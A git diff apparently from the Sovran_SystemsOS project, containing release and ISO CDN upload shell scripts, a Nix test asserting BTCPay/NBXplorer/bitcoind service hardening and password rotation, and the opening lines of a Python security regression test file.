echo -e " ${GREEN}✓${NC} Draft notes written to: ${CYAN}${NOTES_FILE}${NC}"
|
||||
echo
|
||||
echo "──────────────── Draft Release Notes ────────────────"
|
||||
cat "$NOTES_FILE"
|
||||
echo "──────────────────────────────────────────────────────"
|
||||
echo
|
||||
read -rp "Edit the notes before publishing? (y/N): " edit_confirm
|
||||
if [[ "$edit_confirm" =~ ^[Yy]$ ]]; then
|
||||
"${EDITOR:-nano}" "$NOTES_FILE"
|
||||
RELEASE_NOTES="$(sed -n '/^###/,$p' "$NOTES_FILE" | sed '/^\*\*Full changelog/d')"
|
||||
fi
|
||||
RELEASE_BODY="$(cat "$NOTES_FILE")"
|
||||
|
||||
echo
|
||||
echo -e "${YELLOW}════════════════════════════════════════════════════════════${NC}"
|
||||
echo -e "${YELLOW} Preparing Release${NC}"
|
||||
echo -e "${YELLOW}════════════════════════════════════════════════════════════${NC}"
|
||||
echo " Version : ${TAG}"
|
||||
echo " Message : ${RELEASE_MESSAGE}"
|
||||
echo " Gitea Remote : ${GITEA_REMOTE}"
|
||||
echo " GitHub Remote : ${GITHUB_REMOTE}"
|
||||
echo
|
||||
|
||||
read -rp "Proceed with this release? (y/N): " confirm
|
||||
if [[ ! "$confirm" =~ ^[Yy]$ ]]; then
|
||||
echo "Aborted."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Step 1: Push tested code to Gitea (stable & staging-dev)
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
echo
|
||||
echo -e "${BLUE}Step 1: Pushing tested code to Gitea (stable & staging-dev)...${NC}"
|
||||
if git remote | grep -q -x "${GITEA_REMOTE}"; then
|
||||
git push "${GITEA_REMOTE}" HEAD:stable --force-with-lease || echo -e " ${YELLOW}⚠ Push to ${GITEA_REMOTE} (stable) failed.${NC}"
|
||||
git push "${GITEA_REMOTE}" HEAD:staging-dev --force-with-lease || echo -e " ${YELLOW}⚠ Push to ${GITEA_REMOTE} (staging-dev) failed.${NC}"
|
||||
else
|
||||
echo -e " ${YELLOW}⚠ Remote '${GITEA_REMOTE}' not found in git — skipping Gitea push.${NC}"
|
||||
fi
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Step 2: Create annotated tag
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
echo
|
||||
echo -e "${BLUE}Step 2: Creating annotated tag ${TAG}...${NC}"
|
||||
git tag -f -a "${TAG}" -m "${RELEASE_MESSAGE}
|
||||
|
||||
- Stable release of Sovran_SystemsOS
|
||||
- See CHANGELOG.md for full details" || true
|
||||
|
||||
if git remote | grep -q -x "${GITEA_REMOTE}"; then
|
||||
git push "${GITEA_REMOTE}" "${TAG}" || echo -e " ${YELLOW}⚠ Tag push to ${GITEA_REMOTE} failed.${NC}"
|
||||
else
|
||||
echo -e " ${YELLOW}⚠ Remote '${GITEA_REMOTE}' not found in git — skipping Gitea tag push.${NC}"
|
||||
fi
|
||||
|
||||
if git remote | grep -q -x "${GITHUB_REMOTE}"; then
|
||||
git push "${GITHUB_REMOTE}" "${TAG}" || echo -e " ${YELLOW}⚠ Tag push to ${GITHUB_REMOTE} failed.${NC}"
|
||||
fi
|
||||
|
||||
# Update VERSION file for ISO builds
|
||||
echo "${VERSION}" > VERSION
|
||||
git add VERSION
|
||||
git commit -m "chore: bump VERSION to ${TAG} for ISO naming" || true
|
||||
echo -e " ${GREEN}✓${NC} VERSION file updated to ${VERSION}"
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Step 2b: Auto-update README.md ISO download references
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
echo
|
||||
echo -e "${BLUE}Step 2b: Updating README.md ISO references to ${VERSION}...${NC}"
|
||||
|
||||
README_FILE="README.md"
|
||||
if [ -f "$README_FILE" ]; then
|
||||
# Extract the version currently used in the README's ISO filenames,
|
||||
# e.g. "Sovran_SystemsOS-1.0.6.iso" -> "1.0.6"
|
||||
OLD_ISO_VER=$(grep -oE 'Sovran_SystemsOS-[0-9]+\.[0-9]+\.[0-9]+\.iso' "$README_FILE" | head -1 | sed 's/Sovran_SystemsOS-//; s/\.iso//')
|
||||
|
||||
if [ -n "$OLD_ISO_VER" ] && [ "$OLD_ISO_VER" != "$VERSION" ]; then
|
||||
# Portable in-place edit (works with GNU sed and BSD/macOS sed)
|
||||
sed "s/Sovran_SystemsOS-${OLD_ISO_VER}/Sovran_SystemsOS-${VERSION}/g" \
|
||||
"$README_FILE" > "$README_FILE.tmp" && mv "$README_FILE.tmp" "$README_FILE"
|
||||
|
||||
UPDATED=$(grep -c "Sovran_SystemsOS-${VERSION}" "$README_FILE")
|
||||
echo -e " ${GREEN}✓${NC} README.md: ${OLD_ISO_VER} -> ${VERSION} (${UPDATED} references updated)"
|
||||
|
||||
git add "$README_FILE"
|
||||
git commit -m "docs: update README ISO download links to ${TAG}" || true
|
||||
echo -e " ${GREEN}✓${NC} Committed README update"
|
||||
else
|
||||
echo -e " ${YELLOW}⚠${NC} README.md already references ${VERSION} or no versioned ISO links found — skipping"
|
||||
fi
|
||||
else
|
||||
echo -e " ${YELLOW}⚠${NC} README.md not found — skipping"
|
||||
fi
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Step 3: Auto-update CHANGELOG.md
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
echo
|
||||
echo -e "${BLUE}Step 3: Updating ${CHANGELOG_FILE}...${NC}"
|
||||
|
||||
TODAY=$(date +%Y-%m-%d)
|
||||
|
||||
# Create new changelog entry from the generated notes (no placeholders)
|
||||
NEW_ENTRY="## [${VERSION}] - ${TODAY}
|
||||
|
||||
${RELEASE_NOTES}
|
||||
[${VERSION}]: https://git.sovransystems.com/Sovran_Systems/Sovran_SystemsOS/releases/tag/${TAG}
|
||||
"
|
||||
|
||||
# Prepend to changelog (after the header)
|
||||
if [ -f "$CHANGELOG_FILE" ]; then
|
||||
# Backup
|
||||
cp "$CHANGELOG_FILE" "${CHANGELOG_FILE}.bak"
|
||||
|
||||
# Insert new section after the first --- line
|
||||
awk -v new_entry="$NEW_ENTRY" '
|
||||
BEGIN { printed=0 }
|
||||
/^---$/ && !printed {
|
||||
print
|
||||
print ""
|
||||
print new_entry
|
||||
printed=1
|
||||
next
|
||||
}
|
||||
{ print }
|
||||
' "$CHANGELOG_FILE" > "${CHANGELOG_FILE}.tmp" && mv "${CHANGELOG_FILE}.tmp" "$CHANGELOG_FILE"
|
||||
rm -f "${CHANGELOG_FILE}.bak"
|
||||
|
||||
echo -e " ${GREEN}✓${NC} CHANGELOG.md updated with new section for ${TAG}"
|
||||
else
|
||||
echo -e " ${YELLOW}⚠${NC} CHANGELOG.md not found — skipping"
|
||||
fi
|
||||
|
||||
# Commit the changelog update
|
||||
git add "$CHANGELOG_FILE"
|
||||
if git diff --cached --quiet; then
|
||||
echo " (No changes to commit in changelog)"
|
||||
else
|
||||
git commit -m "docs: update CHANGELOG.md for ${TAG}"
|
||||
echo -e " ${GREEN}✓${NC} Committed changelog update"
|
||||
|
||||
# Ask if user wants to push
|
||||
echo
|
||||
read -rp "Push the changelog commit to GitHub (main) and Gitea (staging-dev) now? (y/N): " push_confirm
|
||||
if [[ "$push_confirm" =~ ^[Yy]$ ]]; then
|
||||
if git remote | grep -q -x "${GITHUB_REMOTE}"; then
|
||||
echo -e "${BLUE}Pushing changelog commit to GitHub main...${NC}"
|
||||
if git push "${GITHUB_REMOTE}" HEAD:main; then
|
||||
echo -e " ${GREEN}✓${NC} Changelog pushed to GitHub main (${GITHUB_REMOTE})"
|
||||
else
|
||||
echo -e " ${YELLOW}⚠ Push to GitHub main failed — verify credentials or remote name.${NC}"
|
||||
fi
|
||||
fi
|
||||
if git remote | grep -q -x "${GITEA_REMOTE}"; then
|
||||
echo -e "${BLUE}Pushing changelog commit to Gitea staging-dev...${NC}"
|
||||
if git push "${GITEA_REMOTE}" HEAD:staging-dev; then
|
||||
echo -e " ${GREEN}✓${NC} Changelog pushed to Gitea staging-dev (${GITEA_REMOTE})"
|
||||
else
|
||||
echo -e " ${YELLOW}⚠ Push to Gitea staging-dev failed.${NC}"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " (Changelog commit left local — remember to push later)"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Step 4: Create GitHub Release via gh CLI
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
echo
|
||||
echo -e "${BLUE}Step 4: Creating GitHub Release...${NC}"
|
||||
|
||||
if command -v gh &>/dev/null; then
|
||||
title_suffix="${RELEASE_MESSAGE#Sovran_SystemsOS v* — }"
|
||||
title_suffix="${title_suffix#Sovran_SystemsOS * — }"
|
||||
if gh release create "${TAG}" \
|
||||
--repo naturallaw777/Sovran_SystemsOS \
|
||||
--title "${TAG} — ${title_suffix}" \
|
||||
--notes-file "${NOTES_FILE}"; then
|
||||
echo -e " ${GREEN}✓${NC} GitHub release created successfully"
|
||||
else
|
||||
echo -e " ${YELLOW}⚠${NC} GitHub release creation failed (check 'gh auth status' or create via web GUI)"
|
||||
fi
|
||||
else
|
||||
echo -e " ${YELLOW}⚠${NC} gh CLI not found — skipping GitHub release (create via GitHub web GUI)"
|
||||
fi
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Step 5: Create Gitea Release via API
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
echo
|
||||
echo -e "${BLUE}Step 5: Creating Gitea Release via API...${NC}"
|
||||
|
||||
# ── Gitea Token Handling ─────────────────────────────────────────────────────
|
||||
if [[ -z "${GITEA_TOKEN:-}" ]]; then
|
||||
echo
|
||||
echo -e "${YELLOW}GITEA_TOKEN is not set.${NC}"
|
||||
read -rsp "Enter your Gitea API token (input will be hidden): " GITEA_TOKEN
|
||||
echo
|
||||
if [[ -z "$GITEA_TOKEN" ]]; then
|
||||
echo -e " ${YELLOW}⚠${NC} No token provided — skipping Gitea release"
|
||||
GITEA_TOKEN=""
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ -n "${GITEA_TOKEN:-}" ]]; then
|
||||
GITEA_REPO="Sovran_Systems/Sovran_SystemsOS"
|
||||
|
||||
# Build JSON payload safely (release body may contain quotes/newlines)
|
||||
if command -v jq &>/dev/null; then
|
||||
PAYLOAD=$(jq -n \
|
||||
--arg tag "${TAG}" \
|
||||
--arg name "${TAG} — Stable Release" \
|
||||
--arg body "${RELEASE_BODY}" \
|
||||
'{tag_name: $tag, name: $name, body: $body, draft: false, prerelease: false}')
|
||||
else
|
||||
PAYLOAD=$(python3 -c "import json,sys; print(json.dumps({'tag_name': sys.argv[1], 'name': sys.argv[1] + ' — Stable Release', 'body': open(sys.argv[2]).read(), 'draft': False, 'prerelease': False}))" "${TAG}" "${NOTES_FILE}")
|
||||
fi
|
||||
|
||||
RESPONSE=$(curl -s -X POST \
|
||||
-H "Authorization: token ${GITEA_TOKEN}" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "${PAYLOAD}" \
|
||||
"${GITEA_API_URL}/repos/${GITEA_REPO}/releases" 2>/dev/null || echo "")
|
||||
|
||||
if echo "$RESPONSE" | grep -q '"id"'; then
|
||||
echo -e " ${GREEN}✓${NC} Gitea release created successfully"
|
||||
elif echo "$RESPONSE" | grep -q "write:repository"; then
|
||||
echo -e " ${YELLOW}⚠${NC} Gitea token scope issue: your token requires the 'write:repository' scope (currently has write:package)."
|
||||
echo " To fix: In Gitea, navigate to Settings → Applications → Manage Access Tokens and generate a token with 'write:repository'."
|
||||
else
|
||||
echo -e " ${YELLOW}⚠${NC} Gitea release creation failed or already exists"
|
||||
echo " Response: $RESPONSE"
|
||||
fi
|
||||
fi
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# Final Summary
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
echo
|
||||
echo -e "${GREEN}╔════════════════════════════════════════════════════════════╗${NC}"
|
||||
echo -e "${GREEN}║ ✅ Release ${TAG} completed successfully! ║${NC}"
|
||||
echo -e "${GREEN}╚════════════════════════════════════════════════════════════╝${NC}"
|
||||
echo
|
||||
echo "Next manual steps (recommended):"
|
||||
echo " • Build the installer ISO:"
|
||||
echo " nix build .#nixosConfigurations.sovran_systemsos-iso.config.system.build.isoImage"
|
||||
echo " • Package, verify, and upload ISO to CDN:"
|
||||
echo " ./scripts/upload-cdn.sh --upload"
|
||||
echo " • Review and enhance the new section in CHANGELOG.md"
|
||||
echo " • Push changes: git push ${GITHUB_REMOTE} HEAD:main && git push ${GITEA_REMOTE} HEAD:staging-dev"
|
||||
echo " • Verify releases on both GitHub and Gitea"
|
||||
echo
|
||||
echo -e "${CYAN}Tag created: ${TAG}${NC}"
|
||||
git show "${TAG}" --quiet
|
||||
|
||||
# Clean up temp notes file
|
||||
rm -f "${NOTES_FILE}"
|
||||
@@ -0,0 +1,168 @@
|
||||
#!/usr/bin/env bash
|
||||
#
|
||||
# upload-cdn.sh
|
||||
# Copies built ISO out of the nix store, generates versioned SHA-256 checksum,
|
||||
# verifies it, and optionally uploads to CDN.
|
||||
#
|
||||
# Usage:
|
||||
# ./scripts/upload-cdn.sh [--upload]
|
||||
#
|
||||
# EVERYTHING this script creates lives OUTSIDE the repository, even when you
|
||||
# run it from inside the repo:
|
||||
# - the nix build output symlink -> $ISO_OUT_DIR/result
|
||||
# - the ISO and .sha256 files -> $ISO_OUT_DIR
|
||||
# The repo working tree stays completely clean.
|
||||
#
|
||||
# Environment variables (optional):
|
||||
# ISO_OUT_DIR - dir for the build symlink + ISO + checksum
|
||||
# (default: ~/Sovran-builds)
|
||||
# CDN_RSYNC_TARGET - rsync destination (e.g. user@server:/var/www/downloads/)
|
||||
# CDN_RCLONE_REMOTE - rclone remote target (e.g. s3:my-bucket/downloads/)
|
||||
# CDN_UPLOAD_CMD - custom upload command
|
||||
#
|
||||
|
||||
set -euo pipefail
|
||||
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
BLUE='\033[0;34m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
# Always operate from the repo root, no matter where the script is invoked from
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
|
||||
cd "$REPO_ROOT"
|
||||
|
||||
# Read version from VERSION file
|
||||
if [ ! -f VERSION ]; then
|
||||
echo -e "${RED}Error: VERSION file not found in $REPO_ROOT.${NC}" >&2
|
||||
exit 1
|
||||
fi
|
||||
VERSION=$(cat VERSION | tr -d '\n\r ')
|
||||
ISO_NAME="Sovran_SystemsOS-${VERSION}.iso"
|
||||
SHA_NAME="${ISO_NAME}.sha256"
|
||||
|
||||
# Output directory OUTSIDE the repo (override with ISO_OUT_DIR)
|
||||
OUT_DIR="${ISO_OUT_DIR:-$HOME/Sovran-builds}"
|
||||
mkdir -p "$OUT_DIR"
|
||||
OUT_DIR="$(cd "$OUT_DIR" && pwd)"
|
||||
ISO_PATH="$OUT_DIR/${ISO_NAME}"
|
||||
SHA_PATH="$OUT_DIR/${SHA_NAME}"
|
||||
RESULT_LINK="$OUT_DIR/result"
|
||||
|
||||
echo -e "${BLUE}╔════════════════════════════════════════════════════════════╗${NC}"
|
||||
echo -e "${BLUE}║ Sovran_SystemsOS CDN ISO Packaging & Upload Tool ║${NC}"
|
||||
echo -e "${BLUE}╚════════════════════════════════════════════════════════════╝${NC}"
|
||||
echo -e " Version : ${CYAN}${VERSION}${NC}"
|
||||
echo -e " ISO : ${CYAN}${ISO_NAME}${NC}"
|
||||
echo -e " Repo : ${CYAN}${REPO_ROOT}${NC} (left untouched)"
|
||||
echo -e " Output : ${CYAN}${OUT_DIR}${NC} (outside the repo)"
|
||||
echo
|
||||
|
||||
# Locate or build ISO
|
||||
SRC_ISO=""
|
||||
if [ -f "$RESULT_LINK/iso/${ISO_NAME}" ]; then
|
||||
SRC_ISO="$RESULT_LINK/iso/${ISO_NAME}"
|
||||
elif [ -f "$RESULT_LINK/iso/Sovran_SystemsOS.iso" ]; then
|
||||
SRC_ISO="$RESULT_LINK/iso/Sovran_SystemsOS.iso"
|
||||
elif [ -f "result/iso/${ISO_NAME}" ]; then
|
||||
SRC_ISO="result/iso/${ISO_NAME}" # legacy: from an older in-repo build
|
||||
elif [ -f "result/iso/Sovran_SystemsOS.iso" ]; then
|
||||
SRC_ISO="result/iso/Sovran_SystemsOS.iso"
|
||||
else
|
||||
FOUND=$(find "$RESULT_LINK" result -name "*.iso" 2>/dev/null | head -n 1 || true)
|
||||
if [ -n "$FOUND" ]; then
|
||||
SRC_ISO="$FOUND"
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -z "$SRC_ISO" ] || [ ! -f "$SRC_ISO" ]; then
|
||||
echo -e "${YELLOW}Built ISO not found. Building via Nix (result link goes outside the repo)...${NC}"
|
||||
rm -f "$RESULT_LINK"
|
||||
nix build .#nixosConfigurations.sovran_systemsos-iso.config.system.build.isoImage \
|
||||
--out-link "$RESULT_LINK"
|
||||
|
||||
if [ -f "$RESULT_LINK/iso/${ISO_NAME}" ]; then
|
||||
SRC_ISO="$RESULT_LINK/iso/${ISO_NAME}"
|
||||
else
|
||||
FOUND=$(find "$RESULT_LINK" -name "*.iso" 2>/dev/null | head -n 1 || true)
|
||||
if [ -n "$FOUND" ]; then
|
||||
SRC_ISO="$FOUND"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ -z "$SRC_ISO" ] || [ ! -f "$SRC_ISO" ]; then
|
||||
echo -e "${RED}Error: Failed to locate built ISO.${NC}" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo -e "${BLUE}Step 1: Copying built ISO to output dir (outside repo)...${NC}"
|
||||
cp -v "$SRC_ISO" "$ISO_PATH"
|
||||
echo -e " ${GREEN}✓${NC} Copied to $ISO_PATH"
|
||||
|
||||
echo
|
||||
echo -e "${BLUE}Step 2: Generating versioned SHA-256 checksum...${NC}"
|
||||
sha256sum "$ISO_PATH" > "$SHA_PATH"
|
||||
echo -e " ${GREEN}✓${NC} Generated $SHA_PATH"
|
||||
cat "$SHA_PATH"
|
||||
|
||||
echo
|
||||
echo -e "${BLUE}Step 3: Verifying checksum...${NC}"
|
||||
sha256sum --check "$SHA_PATH"
|
||||
echo -e " ${GREEN}✓${NC} Checksum verified successfully"
|
||||
|
||||
# Parse arguments for upload
|
||||
DO_UPLOAD=0
|
||||
for arg in "$@"; do
|
||||
case $arg in
|
||||
--upload)
|
||||
DO_UPLOAD=1
|
||||
shift
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [ "$DO_UPLOAD" -eq 1 ]; then
|
||||
echo
|
||||
echo -e "${BLUE}Step 4: Uploading to CDN...${NC}"
|
||||
|
||||
UPLOADED=0
|
||||
if [ -n "${CDN_UPLOAD_CMD:-}" ]; then
|
||||
echo -e " Running custom CDN_UPLOAD_CMD..."
|
||||
eval "$CDN_UPLOAD_CMD"
|
||||
UPLOADED=1
|
||||
fi
|
||||
|
||||
if [ -n "${CDN_RSYNC_TARGET:-}" ]; then
|
||||
echo -e " Uploading via rsync to ${CDN_RSYNC_TARGET}..."
|
||||
rsync -avP "$ISO_PATH" "$SHA_PATH" "${CDN_RSYNC_TARGET}"
|
||||
UPLOADED=1
|
||||
fi
|
||||
|
||||
if [ -n "${CDN_RCLONE_REMOTE:-}" ]; then
|
||||
echo -e " Uploading via rclone to ${CDN_RCLONE_REMOTE}..."
|
||||
rclone copy "$ISO_PATH" "$SHA_PATH" "${CDN_RCLONE_REMOTE}"
|
||||
UPLOADED=1
|
||||
fi
|
||||
|
||||
if [ "$UPLOADED" -eq 0 ]; then
|
||||
echo -e " ${YELLOW}⚠ Warning: --upload requested, but no upload method specified.${NC}"
|
||||
echo -e " Set CDN_RSYNC_TARGET, CDN_RCLONE_REMOTE, or CDN_UPLOAD_CMD."
|
||||
else
|
||||
echo -e " ${GREEN}✓${NC} Upload complete."
|
||||
fi
|
||||
else
|
||||
echo
|
||||
echo -e "${GREEN}╔════════════════════════════════════════════════════════════╗${NC}"
|
||||
echo -e "${GREEN}║ ✅ ISO packaging & verification complete! ║${NC}"
|
||||
echo -e "${GREEN}╚════════════════════════════════════════════════════════════╝${NC}"
|
||||
echo -e "Ready files (in ${CYAN}${OUT_DIR}${NC}, outside the repo):"
|
||||
ls -lh "$ISO_PATH" "$SHA_PATH"
|
||||
echo
|
||||
echo "To upload to CDN, run:"
|
||||
echo " ./scripts/upload-cdn.sh --upload"
|
||||
echo "(configure CDN_RSYNC_TARGET, CDN_RCLONE_REMOTE, or CDN_UPLOAD_CMD)"
|
||||
fi
|
||||
@@ -0,0 +1,146 @@
|
||||
{ nixpkgs, overlay-stable, system ? "x86_64-linux" }:
|
||||
|
||||
let
|
||||
lib = nixpkgs.lib;
|
||||
pkgs = import nixpkgs {
|
||||
inherit system;
|
||||
overlays = [ overlay-stable ];
|
||||
};
|
||||
|
||||
normalize = s:
|
||||
lib.replaceStrings [ "\n" "\\" " " ] [ " " "" " " ] s;
|
||||
|
||||
extractAfter = prefix: str:
|
||||
let
|
||||
match = builtins.match ".*${prefix} ([^ ]+).*" (normalize str);
|
||||
in
|
||||
if match == null then
|
||||
throw "Unable to extract ${prefix} from: ${normalize str}"
|
||||
else
|
||||
builtins.head match;
|
||||
|
||||
extractFlagValue = flag: str:
|
||||
let
|
||||
match = builtins.match ".*${flag}=([^ ]+).*" (normalize str);
|
||||
in
|
||||
if match == null then
|
||||
throw "Unable to extract ${flag} from: ${normalize str}"
|
||||
else
|
||||
builtins.head match;
|
||||
|
||||
config = (lib.nixosSystem {
|
||||
inherit system;
|
||||
modules = [
|
||||
{ nixpkgs.hostPlatform = system; nixpkgs.overlays = [ overlay-stable ]; }
|
||||
../modules/bitcoin
|
||||
{
|
||||
nix-bitcoin.generateSecrets = true;
|
||||
nix-bitcoin.secretsDir = "/build/secrets";
|
||||
|
||||
services.btcpayserver.enable = true;
|
||||
services.btcpayserver.lightningBackend = "lnd";
|
||||
services.nbxplorer.dataDir = "/build/nbxplorer";
|
||||
services.btcpayserver.dataDir = "/build/btcpayserver";
|
||||
services.lnd.dataDir = "/build/lnd";
|
||||
services.bitcoind.dataDir = "/build/bitcoind";
|
||||
}
|
||||
];
|
||||
}).config;
|
||||
|
||||
nbxplorerPreStart = config.systemd.services.nbxplorer.preStart;
|
||||
bitcoindPreStart = config.systemd.services.bitcoind.preStart;
|
||||
btcpayExecStart = config.systemd.services.btcpayserver.serviceConfig.ExecStart;
|
||||
btcpayWorkingDir = config.systemd.services.btcpayserver.serviceConfig.WorkingDirectory;
|
||||
|
||||
nbxplorerConfigPath = extractAfter "install -m 600" nbxplorerPreStart;
|
||||
btcpayConfigPath = extractFlagValue "--conf" btcpayExecStart;
|
||||
|
||||
nbxplorerConfig = builtins.readFile nbxplorerConfigPath;
|
||||
btcpayConfig = builtins.readFile btcpayConfigPath;
|
||||
in
|
||||
assert lib.assertMsg
|
||||
(config.users.users.${config.services.btcpayserver.user}.home == config.services.btcpayserver.dataDir)
|
||||
"btcpayserver user home must match btcpayserver dataDir";
|
||||
assert lib.assertMsg
|
||||
(config.users.users.${config.services.nbxplorer.user}.home == config.services.nbxplorer.dataDir)
|
||||
"nbxplorer user home must match nbxplorer dataDir";
|
||||
assert lib.assertMsg
|
||||
(config.nix-bitcoin.secrets.bitcoin-HMAC-btcpayserver.user == config.services.bitcoind.user)
|
||||
"bitcoin-HMAC-btcpayserver must be owned by bitcoind";
|
||||
assert lib.assertMsg
|
||||
(config.nix-bitcoin.secrets.bitcoin-rpcpassword-btcpayserver.user == config.services.bitcoind.user)
|
||||
"bitcoin-rpcpassword-btcpayserver must be owned by bitcoind";
|
||||
assert lib.assertMsg
|
||||
(config.nix-bitcoin.secrets.bitcoin-rpcpassword-btcpayserver.group == config.services.nbxplorer.group)
|
||||
"bitcoin-rpcpassword-btcpayserver must be group-readable by nbxplorer";
|
||||
assert lib.assertMsg
|
||||
(!(lib.elem config.services.nbxplorer.group config.users.users.${config.services.btcpayserver.user}.extraGroups))
|
||||
"btcpayserver must not receive the nbxplorer group";
|
||||
assert lib.assertMsg
|
||||
(lib.elem "nix-bitcoin-secrets.target" config.systemd.services.nbxplorer.after)
|
||||
"nbxplorer must wait for nix-bitcoin-secrets.target";
|
||||
assert lib.assertMsg
|
||||
(config.systemd.services.nbxplorer.serviceConfig.MemoryDenyWriteExecute == false)
|
||||
"nbxplorer needs MemoryDenyWriteExecute = false";
|
||||
assert lib.assertMsg
|
||||
(config.systemd.services.btcpayserver.serviceConfig.MemoryDenyWriteExecute == false)
|
||||
"btcpayserver needs MemoryDenyWriteExecute = false";
|
||||
assert lib.assertMsg
|
||||
(lib.hasInfix "network=mainnet" nbxplorerConfig
|
||||
&& lib.hasInfix "btcrpcuser=btcpayserver" nbxplorerConfig
|
||||
&& lib.hasInfix "btcnodeendpoint=127.0.0.1:8335" nbxplorerConfig
|
||||
&& lib.hasInfix "bind=127.0.0.1" nbxplorerConfig
|
||||
&& lib.hasInfix "port=24444" nbxplorerConfig
|
||||
&& lib.hasInfix "postgres=User ID=nbxplorer;Host=/run/postgresql;Database=nbxplorer" nbxplorerConfig)
|
||||
"nbxplorer base config must contain the expected non-secret settings";
|
||||
assert lib.assertMsg
|
||||
(lib.hasInfix "btcexplorerurl=http://127.0.0.1:24444/" btcpayConfig
|
||||
&& lib.hasInfix "btcexplorercookiefile=/build/nbxplorer/Main/.cookie" btcpayConfig)
|
||||
"btcpayserver config must contain btcexplorerurl and btcexplorercookiefile";
|
||||
assert lib.assertMsg
|
||||
(lib.hasSuffix "/lib/btcpayserver" btcpayWorkingDir)
|
||||
"btcpayserver WorkingDirectory must end with /lib/btcpayserver";
|
||||
assert lib.assertMsg
|
||||
(!lib.hasInfix "/build/btcpayserver/settings.config" btcpayExecStart
|
||||
&& lib.hasInfix "--datadir='/build/btcpayserver'" btcpayExecStart)
|
||||
"btcpayserver must use a deterministic config file plus --datadir";
|
||||
assert lib.assertMsg
|
||||
(lib.hasInfix "network=mainnet" btcpayConfig
|
||||
&& lib.hasInfix "bind=127.0.0.1" btcpayConfig
|
||||
&& lib.hasInfix "port=23000" btcpayConfig
|
||||
&& lib.hasInfix "btcexplorerurl=http://127.0.0.1:24444/" btcpayConfig
|
||||
&& lib.hasInfix "explorer.postgres=User ID=nbxplorer;Host=/run/postgresql;Database=nbxplorer" btcpayConfig
|
||||
&& lib.hasInfix "postgres=User ID=btcpayserver;Host=/run/postgresql;Database=btcpayserver" btcpayConfig
|
||||
&& lib.hasInfix "btclightning=type=lnd-rest;server=https://127.0.0.1:8080/;macaroonfilepath=/run/lnd/btcpayserver.macaroon;certfilepath=/build/secrets/lnd-cert" btcpayConfig)
|
||||
"btcpayserver config must preserve BTCPay, NBXplorer, database, and LND settings";
|
||||
assert lib.assertMsg
|
||||
(lib.hasInfix "readValidatedRpcHmac()" bitcoindPreStart
|
||||
&& lib.hasInfix ''if [[ ! -e "$hmacFile" ]]; then'' bitcoindPreStart
|
||||
&& lib.hasInfix ''if [[ ! -r "$hmacFile" ]]; then'' bitcoindPreStart
|
||||
&& lib.hasInfix ''if [[ -z "$hmacPayload" ]]; then'' bitcoindPreStart
|
||||
&& lib.hasInfix ''^[[:xdigit:]]+\$[[:xdigit:]]+$'' bitcoindPreStart
|
||||
&& lib.hasInfix ''Bitcoin RPC HMAC file has invalid format'' bitcoindPreStart
|
||||
&& lib.hasInfix ''hmacPayload="$(readValidatedRpcHmac '/build/secrets/bitcoin-HMAC-btcpayserver')" || exit 1'' bitcoindPreStart)
|
||||
"bitcoind preStart must validate missing, unreadable, empty, and malformed HMAC files";
|
||||
pkgs.runCommand "bitcoin-btcpay-hardening" {} ''
|
||||
mkdir -p /build/secrets /build/nbxplorer
|
||||
|
||||
printf '%s' 'first-password' > /build/secrets/bitcoin-rpcpassword-btcpayserver
|
||||
bash -euo pipefail -c ${lib.escapeShellArg nbxplorerPreStart}
|
||||
|
||||
test "$(stat -c '%a' /build/nbxplorer/settings.config)" = "600"
|
||||
test "$(grep -c '^btcrpcuser=' /build/nbxplorer/settings.config)" = "1"
|
||||
test "$(grep -c '^btcrpcpassword=' /build/nbxplorer/settings.config)" = "1"
|
||||
test "$(grep -c '^postgres=' /build/nbxplorer/settings.config)" = "1"
|
||||
|
||||
printf '%s' 'rotated-password' > /build/secrets/bitcoin-rpcpassword-btcpayserver
|
||||
bash -euo pipefail -c ${lib.escapeShellArg nbxplorerPreStart}
|
||||
|
||||
test "$(grep -c '^btcrpcuser=' /build/nbxplorer/settings.config)" = "1"
|
||||
test "$(grep -c '^btcrpcpassword=' /build/nbxplorer/settings.config)" = "1"
|
||||
test "$(grep -c '^postgres=' /build/nbxplorer/settings.config)" = "1"
|
||||
! grep -q 'first-password' /build/nbxplorer/settings.config
|
||||
grep -q 'rotated-password' /build/nbxplorer/settings.config
|
||||
|
||||
touch "$out"
|
||||
''
|
||||
@@ -0,0 +1,922 @@
|
||||
"""Security regression tests for Sovran Hub security helpers.
|
||||
|
||||
Tests exercise the exact production implementations — no helpers are
|
||||
redefined or simulated here. Every test calls the deployed code.
|
||||
|
||||
Tests must never:
|
||||
- reboot, rebuild, or alter real SSH keys
|
||||
- access the network
|
||||
- write to system paths
|
||||
"""
|
||||
|
||||
import base64
|
||||
import json
|
||||
import os
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
